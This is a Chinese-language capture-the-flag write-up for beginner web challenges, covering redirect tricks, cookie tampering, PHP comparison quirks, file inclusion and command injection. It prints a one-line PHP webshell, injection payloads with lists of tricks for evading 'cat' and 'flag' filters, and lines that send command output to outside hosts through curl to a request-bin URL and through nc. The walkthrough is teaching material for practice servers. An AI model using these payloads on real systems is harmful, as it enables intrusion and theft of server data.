2020 SCIST Web Week 1
===
[TOC]
## Web_Getting Started
### Redirect
點進去會有一個網站
有個連結按下去說可以看 flag
按下去會發現他跳轉一下
但什麼事情都沒發生
所以我們用 curl 觀察一下
![](https://i.imgur.com/U2BdeJS.png)
觀察到那個連結是確實會導向 `flag.php` 的
但貌似又會跳轉回來
所以我們再用 curl 觀察一下
![](https://i.imgur.com/dDyHf4a.png)
發現就會有 flag 了
會跳轉的原因是 `flag.php` 設定為會 302 跳轉回到 / 下
所以瀏覽器才會看不到內容
不過我們可以用 curl 去把 browse `flag.php` 的 response 抓下來
這樣就可以不被跳轉的看到內容了
### Form
:::info
解法一
:::
點進網址後,根據提示輸入 `123`,發現被擋住了
![](https://i.imgur.com/vBh29PS.png)
透過 Chrome 的開發者工具(`右鍵>檢查`),發現送出 `123` 會被 `javascript` 擋住
![](https://i.imgur.com/3shM31P.png)
點選 `form` 元素,在下方的 `Event Listeners` 可以把 `onsubmit` 註冊的 `return checkForm(this)` 移除
![](https://i.imgur.com/SdwMhzr.png)
再次送出就可以得到 flag
![](https://i.imgur.com/WIyTOiB.png)
:::info
解法二
:::
觀察一下他的 input name 跟 method
`name = pw method = POST`
可以用 curl 送出資料且不觸發到 JavaScript
`curl -d "pw=123" http://140.110.112.78:10204/`
:::info
解法三
:::
打開 Chrome 的 Develope tool
先在 form 上面打 123
接著在 Develope tool 輸入 `document.querySelector('form').submit()`
![](https://i.imgur.com/CwER3YA.png)
這樣就會直接 submit form 裡面的東西 且不會觸發到 onsubmit 的 Js
### Shell
進入網址後,會有三個連結,先傳個檔案上去試試看
![](https://i.imgur.com/cM5cW7J.png)
點進那個連結,會發現我們的檔案路徑為 `/files/<hash>/<hash>.txt`
![](https://i.imgur.com/I0j56sT.png)
回到最一開始的 ?page 那邊,依照他讀取的方式 可以隨意測試一下讀取其他東西
![](https://i.imgur.com/Xhbvpkd.png)
觀察一下,就會發現這個網站存在 LFI 的漏洞
從錯誤頁面的截圖,和上傳一個檔案後所存在的路徑,就可以知道檔案的目錄結構
```
.
|-- index.php
|-- modes
|-- home
|-- about
`-- files
`-- files
`-- {hash1}
`-- {hash2}.txt
```
透過 LFI 漏洞和檔案上傳就可以得到 `SHELL`
簡單的 php shell 程式碼
```php=
<?=`$_GET[1]`?>
```
`http://140.110.112.78:10210/?page=../files/{hash1}/{hash2}.txt&1={command}`
透過 `ls` 指令可以知道 flag 在 `flag_xxxxxx.txt`
![](https://i.imgur.com/IV5ORba.png)
直接訪問 `http://140.110.112.78:10210/flag_xxxxxx.txt` 即可得到 `flag`
![](https://i.imgur.com/o5mwrkA.png)
## Web
### KAIBRO BUY
`http://140.110.112.78:2500/`
我們現在有 1000 元,但是要買到 flag 需要 99999999 元
![](https://i.imgur.com/ExTGae7.png)
對數字點右鍵,選擇檢查
![](https://i.imgur.com/mTwtK4J.png)
雖然數字本身是不能改的,但是發現到數字是直接寫在前端的,所以我們可以從 Develope tool 更改成任意值
![](https://i.imgur.com/XyBatCK.png)
賺ww
![](https://i.imgur.com/WUn8eu8.png)
### Level
題目是要我們達到 level 1000
並且我們發現到當點擊 `Click me to next level` 可以讓 level 加上 1
![](https://i.imgur.com/ZsgL9rB.png)
當然,你可以很認真地點完這 1000 次
不過實際上我們開啟開發者工具檢查一下,會發現到 level 是記錄在 cookie 裡面
![](https://i.imgur.com/ykAoKB9.png)
所以我們可以直接修改 cookie 的值,接下來重新整理一下頁面就可以拿到 flag 囉!
![](https://i.imgur.com/srTM2sf.png)
### Secret Login
一進來就送我們 source code ,當然要來看一下囉
![](https://i.imgur.com/2lHwEiz.png)
發現到他會 `GET` 一個 `pass` 參數,並拿去跟 config.php 內的 `secret` 比較
這邊要用到 php 的小知識: 任何東西和 `null` 做比較,都會是 `true`
這邊我們將 pass 以 `pass[]` 傳過去,這時候的 `pass` 是一個未定義的陣列,所以會是 `null`
連結如下: `http://140.110.112.78:2502/?pass[]`
接下來就拿到 flag 囉!
![](https://i.imgur.com/6wwGz9R.png)
或是使用 curl
``` curl -b "level=1000" http://140.110.112.78:25501```
### Downloader
進到頁面上可以看到有三個連結,分別會下載到三種不同的怪貓貓
檢查原始碼後發現,他會連到 `download.php` ,並用任意 `GET` 檔案
![](https://i.imgur.com/cWMJhsO.png)
這裡就是漏洞所在,現在我們可以透過 `download.php` 任意下載伺服器上的檔案
因為到處猜 flag 猜不到,所以我們就先下載預設就會存在的 `index.php`
發現到他 include 了 `config.inc.php`
![](https://i.imgur.com/3cNVuog.png)
那麼就來下載看看吧
![](https://i.imgur.com/JAm3gMc.png)
### lightning
這一題其實在瀏覽過程當中經過了 302 redirect ,所以造成你看不到 flag
我們可以藉由 curl 不會被 redirect 的特性來解決
```bash=
curl -i http://140.110.112.78:2507/
```
![](https://i.imgur.com/ckaYl9E.png)
發現到他會把我們先導向到 `flag.php`
接著 curl flag.php 就可以拿到 flag 了
```bash=
curl http://140.110.112.78:2507/flag.php
```
### webshell
一進來就看到 source code
發現到他會將一串 base64 的編碼 decode 後執行
![](https://i.imgur.com/zhHImZA.png)
先來看看這串 base64 的內容吧
> system($_POST[123]);
意思是他會接收名稱為 `123` 的 `POST` ,並且送到 `system` 執行
所以說... 我們可以透過 POST 讓他執行任意指令了!
先用 find 來找找 `flag` 的位置吧!
```bash=
curl -d "123=find / -name "flag"" http://140.110.112.78:2508/
```
![](https://i.imgur.com/O0FvSjM.png)
找到位置後,直接 cat 出來就可以拿到 flag 了
### Cat Digger
這題是 command injection
可以發現他會將我們輸入的內容送去執行 dig ,並且將結果輸出到網頁上
但是因為沒有針對我們的輸入做任何 filter ,我們可以直接截斷 dig 的指令,而去執行我們指定的內容
例如 輸入 `| ls` ,就會如實執行
> bootstrap.css
> index.php
所以,跟上一題相同,我們可以先用 find 找到 flag 的位置,最後 cat 出來即可
不過這題會檔輸入 `flag` `cat` ,所以需要一點跳脫
```bash=
| find / -name "fla*"
```
```bash=
| c\at /fla*
```
```bash=
`head /fl\ag` ` 內可以直接執行指令
```
```bash=
; c\at /fla* 分號可以接更多指令
```
```bash=
&& head /fl* 前者進行完直接接後者
```
```bash=
& c\at /fl* 前者丟入背景執行 後者繼續執行
```
:::info
如果想看更多跳脫方式,可以參考 @MuMu 在 `Baby CMDi` 的題解
:::
## Level 2
### vtim_cmdi
`http://140.110.112.32:31339/index.php`
也是command injection。`;`似乎會被擋掉,但可以用`||`
```
| ls .
Here's your header :
index.nginx-debian.html
index.php
```
翻找一下就可以看到flag
```
| cat /flag/Flag/flag
```
:::info
source code
:::
```htmlembedded=
<html>
<body>
<h1>HTTP Header Reader v0.008</h1>
<form action="index.php" method="POST">
<input type="text" size="50" name="url" placeholder="URL">
<input type="submit" value="submit">
</from>
<?php
$url = str_replace(";", "\;", $_POST['url']);
$output = shell_exec("curl -I -X GET ".$url);
if($output != ""){
echo "<h3>Here's your header :</h3>";
$array = explode("\n",$output);
echo "<pre>";
foreach($array as $str) {
echo $str;
echo "<br>";
}
echo "</pre>";
}
?>
</body>
</html>
```
### Local File Inclusion
先注意到網址 會發現他讀取網頁的方式是用GET
所以可以很輕易的在網址指定檔案
是 LFI 比較大的問題是 不知道檔案名稱 又不知道檔案位址
所以就要開始通靈
跳過通靈的階段 flag 是放在 /flag
所以依照上面所說 在網址後面加上 `?page=../../../../flag` 即可
最低至少要跳4層 最高無限層都可以
發現沒辦法直接讀/flag
### BABY CMDi
稍微麻煩一點的黑箱題
貌似被擋了不少東西
看到題目 先跟著他的要求輸入 IP
![](https://i.imgur.com/o8oyMS7.png)
看起來是很正常的 `ping $_POST['ip']`
測試了一下 發現以下幾個東西會被擋掉
``` & | ; cat flag ` ```
那就來試一下 `$(sleep 3)`
成功的讓網頁 sleep 了 3 秒 表示這樣是可行的
那就試試看 `$(ls)` 發現並沒有回傳東西
可以猜測這題並不會把 system 的運行結果回顯在網頁上
於是要嘗試讓執行結果輸出到自己這邊
開始建構 Payload
這邊使用的是 https://requestbin.net
開一個 private 的 RequestBin
![](https://i.imgur.com/tfz1uP3.png)
那就開始建構 payload 吧
首先先讓他 curl 我的 RequestBin
`$(curl http://requestbin.net/r/1frffe51)`
接著讓他把 command 的執行結果用 POST 的方式傳到我的 RequestBin 上
這邊先示範 ls 當前資料夾
`$(curl -d "$(ls ./)" http://requestbin.net/r/1frffe51)`
:::info
若是 `-d $(ls ./)` 沒加上 ""
會導致執行結果若是出現換行就會出現 Error
第一行之後的每一行都會被當成新的 command 來執行
:::
回到 RequestBin 上 refresh 就會看到 ls 的結果了
![](https://i.imgur.com/Ewqnn7O.png)
接著會遇到兩個問題
1. 這題會擋掉 cat
2. 這題也會擋掉 flag
那麼針對這兩點來分別解決
1. cat 迴避方式
- `head` 讀取檔案
- `diff` 比較檔案
- `c\at` 反斜線迴避
- `c''at` 引號內空值
- `od` 8 進位讀取檔案
- -a 輸出 ascii
- `bzmore` 讀取檔案
- `/???/??t` == `/usr/cat`
- `grep` 搜尋檔案內符合條件的字串
- `-i` 忽略大小寫
- `-P` 配合正規表達式
- `-r` 讀取當前資料夾下所有檔案 並且尋找符合的結果
- `tail` 讀取檔案最後的部分
- `cut` 讀取檔案特定範圍
- -b 輸出特定範圍的 bytes
- `-b n` 輸出第 n 個字
- `-b n-` 第 n 到最後一個字
- `-b n-m` 輸出 n ~ m 的字
- `-b -m` 輸出 m 前面的字
- `sed` 文字內容處理
- `sed 'r' <file>` 讀取檔案
2. flag 迴避方式
- `./f*` == `./fl*` == `./fla*` == `./flag`
- `./f???` == `./flag` == `./flxx`
- `./fl\ag`
- `./fl${wtf}ag` == `./fl''ag` wtf 未被賦值 所以為 null
- `a=fl b=ag ${a}${b}`
- 使用 `grep -r` 不需要加上檔名 只需接上要尋找的字串
3. 綜合技
- `/???/c?? ./f???`
- `/u*r/*d ./f?*`
- `grep -iP "{[a-zA-Z0-9_]*}" fl\ag`
- `diff ./fl* /etc/passwd`
- `grep -r "{"`
:::success
補充 : 用 Python Flask 和 webhook 建立簡單 request 接收器
首先先建立一個 python 檔
```python=
from flask import Flask, request, abort
app = Flask(__name__)
@app.route("/", methods=['POST','GET'])
def get_data():
body = request.get_data(as_text=True)
print(body)
return 'OK'
import os
if __name__ == "__main__":
port = int(os.environ.get('PORT', 80))
app.run(host='0.0.0.0', port=port)
```
這個 python 可以幫我們把 Flask run 起來,並且在 `0.0.0.0:80` 上執行
接下來要新增一個 webhook 將連結導向我們的本機端,這裡使用 ngrok
要先下載好 ngrok 喔!
```bash=
./ngrok http 80
```
最後只需要將前面 curl 的連結改成在 ngrok 上看到的連結即可
![](https://i.imgur.com/4DxqNv4.png)
最後我們的結果可以在 python 中看到
![](https://i.imgur.com/PNl0NM3.png)
:::
:::info
source code
:::
```htmlembedded=
<html>
<body>
<h2>Baby CMDi</h2>
<form action="index.php" method="POST">
<input name="ip" type="text" placeholder="Enter IP" /><br />
<input type="submit" value="Submit" />
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ip'])) {
$waf = array("&", "|", ";", "`", ">", "\t", "\r", "\n", "cat", "flag");
foreach($waf as $banner){
if(stripos($_POST['ip'], $banner) !== FALSE) die("Get Out of Here");
}
$result = shell_exec("ping -c 3 " . $_POST['ip']);
echo "<pre>" . $result . "</pre>";
}
?>
```
## Level 3
### MyPHP
:::info
Point : php中array的特性~sha1[] = NULL
:::
[PHP Comparisons Table](https://www.php.net/manual/en/types.comparisons.php)
```php=
<?php
highlight_file(__FILE__);
include("user.php");
// $users = Array('admin'=>'xxxx', ...)
$user = $_GET['user'];
$pass = $_GET['pass'];
if(isset($user) && isset($pass)) {
if($users[$user] === sha1($pass))
echo $flag;
else
echo "Q______________Q";
}
```
if的比較是 "===" 不能運用弱型別,要讓它都是NULL。
輸入 ```http://140.110.112.32:4010/?user=-1&pass[]=```
### youtube_viewer
:::info
解法一 : nc
:::
首先看到題目
一個youtube 載入器?
輸入youtube 影片上最後段的url 題目就會幫忙把影片讀取出來
猜測code:
```curl -i 'xxx/[input]/xxx'``` or
```curl -i "xxx/[input]/xxx"```
可控的在中間那邊
應該是Blind Command Injection
開始建構payload
1. 先閉合前面
==> ```'```
2. 把後面也處理好
==> ```''```
3. 連接前後
```' + &payload && $payload = '```
4. 加上要執行的cmd
==> ```' + $payload || ls -al && $payload = '```
5. 因為結果不會print 出來 所以要回傳到自己的server
==> ```' + $payload || ls -al | nc ctf.bitx.tw 1234 && $payload = '```
**```nc ctf.bitx.tw 1234```**
是拿來跟server 建立聊天室用的
server上要執行
**```nc -l 1234```**
最終payload
**```' + $payload || ls -al | cat /flag | nc ctf.bitx.tw 1234 && $payload = '```**
:::info
解法二 : double quote ( 解法解釋請見 [BABY CMDi](https://hackmd.io/feH6s4g3S0GAAuONsg3s0Q?both#BABY-CMDi)
:::
payload: `'"$(curl http://requestbin.net/r/12zvlvr1 --data "$(ls -ahl /)")"'`
:::info
source code
:::
```htmlembedded=
<head>
<link href="https://fonts.googleapis.com/css?family=IM+Fell+French+Canon+SC" rel="stylesheet">
</head>
<body style="background-color: #fefad0;font-family: 'IM Fell French Canon SC', serif;font-size:20px">
<h1>Youtube Viewer</h1>
Give me a valid youtube id:
<form method="get">
<input type="text" name="v">
<input type="submit">
</form><br><br>
Example: uCLEq9V0-Yk
<br>
I will check your input is valid youtube id or not.
<br><br>
<?php
$default="uCLEq9V0-Yk";
if(isset($_GET['v'])) {
$tmp = $_GET['v'];
$res = shell_exec("curl -i 'https://img.youtube.com/vi/$tmp/0.jpg'");
if(strpos($res, "404 Not Found") !== FALSE) {
echo "<h3>Q___Q Your input seems invalid.</h3><br>";
} else {
$default = $tmp;
}
}
?>
<iframe id="ytplayer" type="text/html" width="640" height="360"
src="https://www.youtube.com/embed/<?php echo $default; ?>?autoplay=0"
frameborder="0"></iframe>
<!-- hint: backend will download/view the youtube video image and check it exist or not. -->
<!-- Try more payload -->
</body>
```
協作者
> [name=MuMu]
> [name=Koios1143]
> [name=nella17]
###### tags: `Security` `Web`